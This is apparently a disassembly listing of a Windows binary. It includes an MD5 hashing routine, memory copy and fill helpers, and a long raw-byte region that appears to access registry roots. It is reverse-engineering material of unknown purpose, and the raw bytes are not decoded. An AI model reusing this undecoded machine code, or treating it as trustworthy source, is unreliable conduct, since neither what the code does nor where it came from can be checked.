jnb short loc_434CB5
loc_434C99: ; CODE XREF: sub_434C30+83j
mov edx, [esp+10h+arg_4]
lea eax, [edx+ebx-3Fh]
push eax
push esi
call sub_434DA0
add ebx, 40h
add esp, 8
add ebp, 40h
cmp ebx, edi
jb short loc_434C99
loc_434CB5: ; CODE XREF: sub_434C30+67j
xor eax, eax
jmp short loc_434CBB
; ---------------------------------------------------------------------------
loc_434CB9: ; CODE XREF: sub_434C30+41j
xor ebp, ebp
loc_434CBB: ; CODE XREF: sub_434C30+87j
mov ecx, [esp+10h+arg_4]
sub edi, ebp
add ebp, ecx
push edi
lea edx, [eax+esi+18h]
push ebp
push edx
call sub_435A30
add esp, 0Ch
pop edi
pop esi
pop ebp
pop ebx
retn
sub_434C30 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434D10 proc near ; CODE XREF: sub_402176j
var_8 = byte ptr -8
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 8
lea eax, [esp+8+var_8]
push esi
push edi
mov edi, [esp+10h+arg_4]
push 8
lea esi, [edi+10h]
push esi
push eax
call sub_435950
mov eax, [esi]
add esp, 0Ch
shr eax, 3
and eax, 3Fh
mov ecx, 38h
cmp eax, 38h
jb short loc_434D43
mov ecx, 78h
loc_434D43: ; CODE XREF: sub_434D10+2Cj
sub ecx, eax
push ecx
push offset aA ; ""
push edi
call sub_401C26
lea ecx, [esp+1Ch+var_8]
push 8
push ecx
push edi
call sub_401C26
mov edx, [esp+28h+arg_0]
push 10h
push edi
push edx
call sub_435950
push 58h
push 0
push edi
call sub_435A60
add esp, 30h
pop edi
pop esi
add esp, 8
retn
sub_434D10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_434DA0 proc near ; CODE XREF: sub_434C30+58p
; sub_434C30+73p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 40h
mov ecx, [esp+40h+arg_4]
push ebx
push ebp
push esi
mov esi, [esp+4Ch+arg_0]
push edi
push 40h
lea edx, [esp+54h+var_40]
mov eax, [esi]
mov edi, [esi+4]
mov ebx, [esi+8]
mov ebp, [esi+0Ch]
push ecx
push edx
mov [esp+5Ch+arg_0], eax
call sub_4359C0
mov eax, edi
mov edx, [esp+5Ch+arg_0]
not eax
mov ecx, ebx
and eax, ebp
and ecx, edi
or eax, ecx
mov ecx, [esp+5Ch+var_40]
add eax, ecx
lea ecx, [edx+eax-28955B88h]
mov edx, edi
mov eax, ecx
shr eax, 19h
shl ecx, 7
or eax, ecx
add eax, edi
mov ecx, eax
and edx, eax
not ecx
and ecx, ebx
or ecx, edx
mov edx, [esp+5Ch+var_3C]
add ecx, edx
lea edx, [ecx+ebp-173848AAh]
mov ecx, edx
shr ecx, 14h
shl edx, 0Ch
or ecx, edx
add ecx, eax
mov edx, ecx
mov ebp, ecx
not edx
and edx, edi
and ebp, eax
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, ecx
lea ebx, [ebx+edx+242070DBh]
mov edx, ebx
shr edx, 0Fh
shl ebx, 11h
or edx, ebx
add edx, ecx
mov ebx, edx
and ebp, edx
not ebx
and ebx, eax
or ebx, ebp
mov ebp, [esp+5Ch+var_34]
add ebx, ebp
lea ebx, [edi+ebx-3E423112h]
mov edi, ebx
shl edi, 16h
shr ebx, 0Ah
or edi, ebx
mov ebx, edx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_30]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea eax, [eax+edi-0A83F051h]
mov edi, eax
shr edi, 19h
shl eax, 7
or edi, eax
add edi, ebx
mov eax, edi
and ebp, edi
not eax
and eax, edx
or eax, ebp
mov ebp, [esp+5Ch+var_2C]
add eax, ebp
lea ecx, [ecx+eax+4787C62Ah]
mov eax, ecx
shr eax, 14h
shl ecx, 0Ch
or eax, ecx
add eax, edi
mov ecx, eax
mov ebp, eax
not ecx
and ecx, ebx
and ebp, edi
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, eax
lea edx, [edx+ecx-57CFB9EDh]
mov ecx, edx
shr ecx, 0Fh
shl edx, 11h
or ecx, edx
add ecx, eax
mov edx, ecx
and ebp, ecx
not edx
and edx, edi
or edx, ebp
mov ebp, [esp+5Ch+var_24]
add edx, ebp
lea ebx, [ebx+edx-2B96AFFh]
mov edx, ebx
shl edx, 16h
shr ebx, 0Ah
or edx, ebx
mov ebx, ecx
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_20]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edi, [edi+edx+698098D8h]
mov edx, edi
shr edx, 19h
shl edi, 7
or edx, edi
add edx, ebx
mov edi, edx
and ebp, edx
not edi
and edi, ecx
or edi, ebp
mov ebp, [esp+5Ch+var_1C]
add edi, ebp
lea eax, [eax+edi-74BB0851h]
mov edi, eax
shr edi, 14h
shl eax, 0Ch
or edi, eax
add edi, edx
mov eax, edi
not eax
mov ebp, edi
and eax, ebx
and ebp, edx
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, edi
lea ecx, [ecx+eax-0A44Fh]
mov eax, ecx
shr eax, 0Fh
shl ecx, 11h
or eax, ecx
add eax, edi
mov ecx, eax
and ebp, eax
not ecx
and ecx, edx
or ecx, ebp
mov ebp, [esp+5Ch+var_14]
add ecx, ebp
lea ebx, [ebx+ecx-76A32842h]
mov ecx, ebx
shl ecx, 16h
shr ebx, 0Ah
or ecx, ebx
mov ebx, eax
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, edi
and ebx, ebp
mov ebp, [esp+5Ch+var_10]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ebx
lea edx, [edx+ecx+6B901122h]
mov ecx, edx
shr ecx, 19h
shl edx, 7
or ecx, edx
add ecx, ebx
mov edx, ecx
and ebp, ecx
not edx
and edx, eax
or edx, ebp
mov ebp, [esp+5Ch+var_C]
add edx, ebp
lea edi, [edi+edx-2678E6Dh]
mov edx, edi
shr edx, 14h
shl edi, 0Ch
or edx, edi
add edx, ecx
mov ebp, edx
mov edi, edx
not ebp
and edi, ecx
and ebx, ebp
or edi, ebx
mov ebx, [esp+5Ch+var_8]
add edi, ebx
mov ebx, edx
lea eax, [eax+edi-5986BC72h]
mov edi, eax
shr edi, 0Fh
shl eax, 11h
or edi, eax
add edi, edx
mov eax, edi
and ebx, edi
not eax
mov [esp+5Ch+arg_4], eax
and eax, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_4]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax+49B40821h]
mov eax, ebx
shl eax, 16h
shr ebx, 0Ah
or eax, ebx
mov ebx, edx
add eax, edi
mov [esp+5Ch+arg_0], eax
and ebx, eax
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_3C]
or ebx, eax
add ebx, ebp
mov ebp, edi
lea ecx, [ecx+ebx-9E1DA9Eh]
mov ebx, [esp+5Ch+arg_0]
mov eax, ecx
shr eax, 1Bh
shl ecx, 5
or eax, ecx
mov ecx, [esp+5Ch+arg_4]
add eax, ebx
and ecx, ebx
and ebp, eax
or ecx, ebp
mov ebp, [esp+5Ch+var_28]
add ecx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edx, [edx+ecx-3FBF4CC0h]
and ebx, eax
mov ecx, edx
shr ecx, 17h
shl edx, 9
or ecx, edx
add ecx, eax
mov edx, ecx
and edx, ebp
mov ebp, [esp+5Ch+var_14]
or ebx, edx
add ebx, ebp
lea edi, [edi+ebx+265E5A51h]
mov edx, edi
shr edx, 12h
shl edi, 0Eh
or edx, edi
mov edi, eax
add edx, ecx
not edi
mov ebx, edx
and edi, ecx
and ebx, eax
or edi, ebx
mov ebx, [esp+5Ch+var_40]
add edi, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edi-16493856h]
mov edi, ebx
shl edi, 14h
shr ebx, 0Ch
or edi, ebx
mov ebx, ecx
add edi, edx
mov [esp+5Ch+arg_0], edi
mov edi, ecx
mov ebp, [esp+5Ch+arg_0]
not edi
and edi, edx
and ebx, ebp
mov ebp, [esp+5Ch+var_2C]
or edi, ebx
add edi, ebp
mov ebx, [esp+5Ch+arg_0]
lea eax, [eax+edi-29D0EFA3h]
mov edi, eax
shr edi, 1Bh
shl eax, 5
or edi, eax
mov eax, edx
add edi, ebx
not eax
mov ebp, edx
and eax, ebx
and ebp, edi
or eax, ebp
mov ebp, [esp+5Ch+var_18]
add eax, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea ecx, [ecx+eax+2441453h]
and ebx, edi
mov eax, ecx
shr eax, 17h
shl ecx, 9
or eax, ecx
add eax, edi
mov ecx, eax
and ecx, ebp
mov ebp, [esp+5Ch+var_4]
or ebx, ecx
add ebx, ebp
lea edx, [edx+ebx-275E197Fh]
mov ecx, edx
shr ecx, 12h
shl edx, 0Eh
or ecx, edx
mov edx, edi
add ecx, eax
not edx
mov ebx, ecx
and edx, eax
and ebx, edi
or edx, ebx
mov ebx, [esp+5Ch+var_30]
add edx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+edx-182C0438h]
mov edx, ebx
shl edx, 14h
shr ebx, 0Ch
or edx, ebx
mov ebx, eax
add edx, ecx
mov [esp+5Ch+arg_0], edx
mov edx, eax
mov ebp, [esp+5Ch+arg_0]
not edx
and edx, ecx
and ebx, ebp
mov ebp, [esp+5Ch+var_1C]
or edx, ebx
add edx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, ecx
lea edi, [edi+edx+21E1CDE6h]
mov edx, edi
shr edx, 1Bh
shl edi, 5
or edx, edi
mov edi, ecx
add edx, ebx
not edi
and edi, ebx
and ebp, edx
or edi, ebp
mov ebp, [esp+5Ch+var_8]
add edi, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea eax, [eax+edi-3CC8F82Ah]
and ebx, edx
mov edi, eax
shr edi, 17h
shl eax, 9
or edi, eax
add edi, edx
mov eax, edi
and eax, ebp
mov ebp, [esp+5Ch+var_34]
or ebx, eax
add ebx, ebp
lea ecx, [ecx+ebx-0B2AF279h]
mov eax, ecx
shr eax, 12h
shl ecx, 0Eh
or eax, ecx
mov ecx, edx
add eax, edi
not ecx
mov ebx, eax
and ecx, edi
and ebx, edx
or ecx, ebx
mov ebx, [esp+5Ch+var_20]
add ecx, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+ecx+455A14EDh]
mov ecx, ebx
shl ecx, 14h
shr ebx, 0Ch
or ecx, ebx
mov ebx, edi
add ecx, eax
mov [esp+5Ch+arg_0], ecx
mov ecx, edi
mov ebp, [esp+5Ch+arg_0]
not ecx
and ecx, eax
and ebx, ebp
mov ebp, [esp+5Ch+var_C]
or ecx, ebx
add ecx, ebp
mov ebx, [esp+5Ch+arg_0]
mov ebp, eax
lea edx, [edx+ecx-561C16FBh]
mov ecx, edx
shr ecx, 1Bh
shl edx, 5
or ecx, edx
mov edx, eax
add ecx, ebx
not edx
and edx, ebx
and ebp, ecx
or edx, ebp
mov ebp, [esp+5Ch+var_38]
add edx, ebp
mov ebp, [esp+5Ch+arg_0]
not ebx
lea edi, [edi+edx-3105C08h]
and ebx, ecx
mov edx, edi
shr edx, 17h
shl edi, 9
or edx, edi
add edx, ecx
mov edi, edx
and edi, ebp
mov ebp, [esp+5Ch+var_24]
or ebx, edi
add ebx, ebp
lea eax, [eax+ebx+676F02D9h]
mov edi, eax
shr edi, 12h
shl eax, 0Eh
or edi, eax
mov eax, ecx
add edi, edx
not eax
mov ebx, edi
and eax, edx
and ebx, ecx
or eax, ebx
mov ebx, [esp+5Ch+var_10]
add eax, ebx
mov ebx, [esp+5Ch+arg_0]
lea ebx, [ebx+eax-72D5B376h]
mov eax, ebx
shl eax, 14h
shr ebx, 0Ch
or eax, ebx
add eax, edi
mov ebp, [esp+5Ch+var_2C]
mov ebx, edx
xor ebx, edi
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_20]
lea ecx, [ecx+ebx-5C6BEh]
mov ebx, ecx
shr ebx, 1Ch
shl ecx, 4
or ebx, ecx
mov ecx, edi
add ebx, eax
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_14]
lea ecx, [edx+ecx-788E097Fh]
mov edx, ecx
shr edx, 15h
shl ecx, 0Bh
or edx, ecx
add edx, ebx
mov ecx, edx
xor ecx, eax
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_8]
lea ecx, [edi+ecx+6D9D6122h]
mov edi, ecx
shr edi, 10h
shl ecx, 10h
or edi, ecx
mov ecx, edx
add edi, edx
xor ecx, edi
mov [esp+5Ch+arg_0], ecx
xor ecx, ebx
add ecx, ebp
mov ebp, [esp+5Ch+var_3C]
lea eax, [eax+ecx-21AC7F4h]
mov ecx, eax
shl ecx, 17h
shr eax, 9
or ecx, eax
mov eax, [esp+5Ch+arg_0]
add ecx, edi
xor eax, ecx
add eax, ebp
mov ebp, [esp+5Ch+var_30]
lea ebx, [ebx+eax-5B4115BCh]
mov eax, ebx
shr eax, 1Ch
shl ebx, 4
or eax, ebx
mov ebx, edi
add eax, ecx
xor ebx, ecx
xor ebx, eax
add ebx, ebp
mov ebp, [esp+5Ch+var_24]
lea edx, [edx+ebx+4BDECFA9h]
mov ebx, edx
shr ebx, 15h
shl edx, 0Bh
or ebx, edx
add ebx, eax
mov edx, ebx
xor edx, ecx
xor edx, eax
add edx, ebp
lea edi, [edi+edx-944B4A0h]
mov edx, edi
shr edx, 10h
shl edi, 10h
or edx, edi
mov edi, ebx
add edx, ebx
xor edi, edx
mov ebp, edi
xor ebp, eax
add ebp, [esp+5Ch+var_18]
lea ebp, [ecx+ebp-41404390h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_C]
add ecx, edx
xor edi, ecx
add edi, ebp
mov ebp, [esp+5Ch+var_40]
lea edi, [eax+edi+289B7EC6h]
mov eax, edi
shr eax, 1Ch
shl edi, 4
or eax, edi
mov edi, edx
add eax, ecx
xor edi, ecx
xor edi, eax
add edi, ebp
mov ebp, [esp+5Ch+var_34]
lea ebx, [ebx+edi-155ED806h]
mov edi, ebx
shr edi, 15h
shl ebx, 0Bh
or edi, ebx
add edi, eax
mov ebx, edi
xor ebx, ecx
xor ebx, eax
add ebx, ebp
lea edx, [edx+ebx-2B10CF7Bh]
mov ebx, edx
shr ebx, 10h
shl edx, 10h
or ebx, edx
mov edx, edi
add ebx, edi
xor edx, ebx
mov ebp, edx
xor ebp, eax
add ebp, [esp+5Ch+var_28]
lea ebp, [ecx+ebp+4881D05h]
mov ecx, ebp
shl ecx, 17h
shr ebp, 9
or ecx, ebp
mov ebp, [esp+5Ch+var_1C]
add ecx, ebx
xor edx, ecx
add edx, ebp
lea edx, [eax+edx-262B2FC7h]
mov eax, edx
shr eax, 1Ch
shl edx, 4
or eax, edx
mov edx, ebx
add eax, ecx
xor edx, ecx
xor edx, eax
add edx, [esp+5Ch+var_10]
lea edi, [edi+edx-1924661Bh]
mov edx, edi
shr edx, 15h
shl edi, 0Bh
or edx, edi
add edx, eax
mov edi, edx
xor edi, ecx
xor edi, eax
add edi, [esp+5Ch+var_4]
lea ebx, [ebx+edi+1FA27CF8h]
mov edi, ebx
shr edi, 10h
shl ebx, 10h
or edi, ebx
mov ebx, edx
add edi, edx
xor ebx, edi
xor ebx, eax
add ebx, [esp+5Ch+var_38]
lea ecx, [ecx+ebx-3B53A99Bh]
mov ebx, ecx
shl ebx, 17h
shr ecx, 9
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_40]
lea eax, [eax+ecx-0BD6DDBCh]
mov ecx, eax
shr ecx, 1Ah
shl eax, 6
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_24]
lea edx, [edx+eax+432AFF97h]
mov eax, edx
shr eax, 16h
shl edx, 0Ah
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_8]
lea edi, [edi+edx-546BDC59h]
mov edx, edi
shr edx, 11h
shl edi, 0Fh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_2C]
lea ebx, [ebx+edi-36C5FC7h]
mov edi, ebx
shl edi, 15h
shr ebx, 0Bh
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_10]
lea ecx, [ecx+ebx+655B59C3h]
mov ebx, ecx
shr ebx, 1Ah
shl ecx, 6
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_34]
lea eax, [eax+ecx-70F3336Eh]
mov ecx, eax
shr ecx, 16h
shl eax, 0Ah
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_18]
lea edx, [edx+eax-100B83h]
mov eax, edx
shr eax, 11h
shl edx, 0Fh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_3C]
lea edi, [edi+edx-7A7BA22Fh]
mov edx, edi
shl edx, 15h
shr edi, 0Bh
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_20]
lea ebx, [ebx+edi+6FA87E4Fh]
mov edi, ebx
shr edi, 1Ah
shl ebx, 6
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
xor ebx, edx
add ebx, [esp+5Ch+var_4]
lea ecx, [ecx+ebx-1D31920h]
mov ebx, ecx
shr ebx, 16h
shl ecx, 0Ah
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, [esp+5Ch+var_28]
lea eax, [eax+ecx-5CFEBCECh]
mov ecx, eax
shr ecx, 11h
shl eax, 0Fh
or ecx, eax
mov eax, edi
add ecx, ebx
not eax
or eax, ecx
xor eax, ebx
add eax, [esp+5Ch+var_C]
lea edx, [edx+eax+4E0811A1h]
mov eax, edx
shl eax, 15h
shr edx, 0Bh
or eax, edx
mov edx, ebx
add eax, ecx
not edx
or edx, eax
xor edx, ecx
add edx, [esp+5Ch+var_30]
lea edi, [edi+edx-8AC817Eh]
mov edx, edi
shr edx, 1Ah
shl edi, 6
or edx, edi
mov edi, ecx
add edx, eax
not edi
or edi, edx
xor edi, eax
add edi, [esp+5Ch+var_14]
lea ebx, [ebx+edi-42C50DCBh]
mov edi, ebx
shr edi, 16h
shl ebx, 0Ah
or edi, ebx
mov ebx, eax
add edi, edx
not ebx
or ebx, edi
push 40h
xor ebx, edx
push 0
add ebx, [esp+64h+var_38]
lea ecx, [ecx+ebx+2AD7D2BBh]
mov ebx, ecx
shr ebx, 11h
shl ecx, 0Fh
or ebx, ecx
mov ecx, edx
add ebx, edi
not ecx
or ecx, ebx
xor ecx, edi
add ecx, ebp
mov ebp, [esi+8]
add ebp, ebx
lea eax, [eax+ecx-14792C6Fh]
mov ecx, [esi]
add ecx, edx
mov edx, eax
shl edx, 15h
shr eax, 0Bh
or edx, eax
mov eax, [esi+4]
add edx, ebx
mov ebx, [esi+0Ch]
add eax, edx
add ebx, edi
mov [esi+4], eax
lea eax, [esp+64h+var_40]
push eax
mov [esi], ecx
mov [esi+8], ebp
mov [esi+0Ch], ebx
call sub_435A60
add esp, 18h
pop edi
pop esi
pop ebp
pop ebx
add esp, 40h
retn
sub_434DA0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435950 proc near ; CODE XREF: sub_434D10+14p
; sub_434D10+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jbe short loc_435997
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
push esi
or esi, 0FFFFFFFFh
lea eax, [edx+1]
sub esi, edx
loc_43596A: ; CODE XREF: sub_435950+44j
mov dl, [ecx]
add ecx, 4
mov [eax-1], dl
mov edx, [ecx-4]
shr edx, 8
mov [eax], dl
mov edx, [ecx-4]
shr edx, 10h
mov [eax+1], dl
mov edx, [ecx-4]
shr edx, 18h
mov [eax+2], dl
add eax, 4
lea edx, [esi+eax]
cmp edx, edi
jb short loc_43596A
pop esi
loc_435997: ; CODE XREF: sub_435950+7j
pop edi
retn
sub_435950 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
mov ebp, [esp+4+arg_8]
test ebp, ebp
jbe short loc_435A0A
mov ecx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, 0FFFFFFFEh
lea eax, [ecx+2]
sub edi, ecx
loc_4359DD: ; CODE XREF: sub_4359C0+46j
xor ecx, ecx
xor edx, edx
mov ch, [eax+1]
mov dl, [eax-1]
mov cl, [eax]
add eax, 4
shl ecx, 8
or ecx, edx
xor edx, edx
mov dl, [eax-6]
add esi, 4
shl ecx, 8
or ecx, edx
mov [esi-4], ecx
lea ecx, [edi+eax]
cmp ecx, ebp
jb short loc_4359DD
pop edi
pop esi
loc_435A0A: ; CODE XREF: sub_4359C0+7j
pop ebp
retn
sub_4359C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep
; sub_434C30+9Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jbe short loc_435A4C
mov eax, [esp+4+arg_0]
mov ecx, [esp+4+arg_4]
sub ecx, eax
loc_435A43: ; CODE XREF: sub_435A30+1Aj
mov dl, [ecx+eax]
mov [eax], dl
inc eax
dec esi
jnz short loc_435A43
loc_435A4C: ; CODE XREF: sub_435A30+7j
pop esi
retn
sub_435A30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_435A60 proc near ; CODE XREF: sub_434D10+60p
; sub_434DA0+932p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
jbe short locret_435A8E
mov al, [esp+arg_4]
push ebx
mov bl, al
mov edx, ecx
mov bh, bl
push edi
mov edi, [esp+8+arg_0]
mov eax, ebx
shl eax, 10h
mov ax, bx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop ebx
locret_435A8E: ; CODE XREF: sub_435A60+6j
retn
sub_435A60 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_435AA0 proc near ; CODE XREF: sub_401C21j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_435AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 0Bh
push 3
push 4Fh
push 14h
push 5
lea eax, [esp+58h+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_435AA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Dh
push 4Fh
push 14h
push 5
lea edx, [esp+30h]
push 7
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017EE
add esi, 32h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_435B90: ; CODE XREF: ___:loc_401F3Cj
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43D116
push eax
mov eax, 16D4h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov esi, [esp+16F0h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436148
push 80h
mov dword ptr [esp+1Ch], 800h
call near ptr 77C2C407h
nop
add esp, 4
mov ebp, eax
lea eax, [esp+64h]
mov ecx, esi
push offset asc_444600 ; " "
push 1
push eax
call sub_4016B8
push 800h
mov dword ptr [esp+16F0h], 0
call sub_437AEA
; ---------------------------------------------------------------------------
db 8Bh
dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0D43D89C0h
dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h
dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh, 0C08508C4h
dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h
dd 0F0685204h, 55004445h, 1A59E890h, 0B9001Ch, 33000002h
dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0D8BF0000h, 0F3005103h
dd 3D4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0
dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h
dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah
dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
dd 4FA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h
dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
dd 424848Dh, 51000001h, 44C75250h, 4424h, 0E8900000h, 24AA25Ch
dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 4BA217E8h
dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
dd 55004446h, 20244489h, 1C18EAE8h, 0B99000h, 33000002h
dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0D8BF0000h, 0F3005103h
dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
dd 252A45Ah, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh
dd 91E85210h, 90024FA1h, 8D08568Bh, 8D182444h, 6E4248Ch
dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
dd 444D20h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h
dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
dd 29E89052h, 8B024FA1h, 8B24247Ch, 47142444h, 7C89F83Bh
dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
dd 10C683FFh, 79D4FE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh
dd 448D0051h, 68501C24h, 20019h, 6068006Ah, 6800447Bh
dd 80000002h, 302444C7h, 0
dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
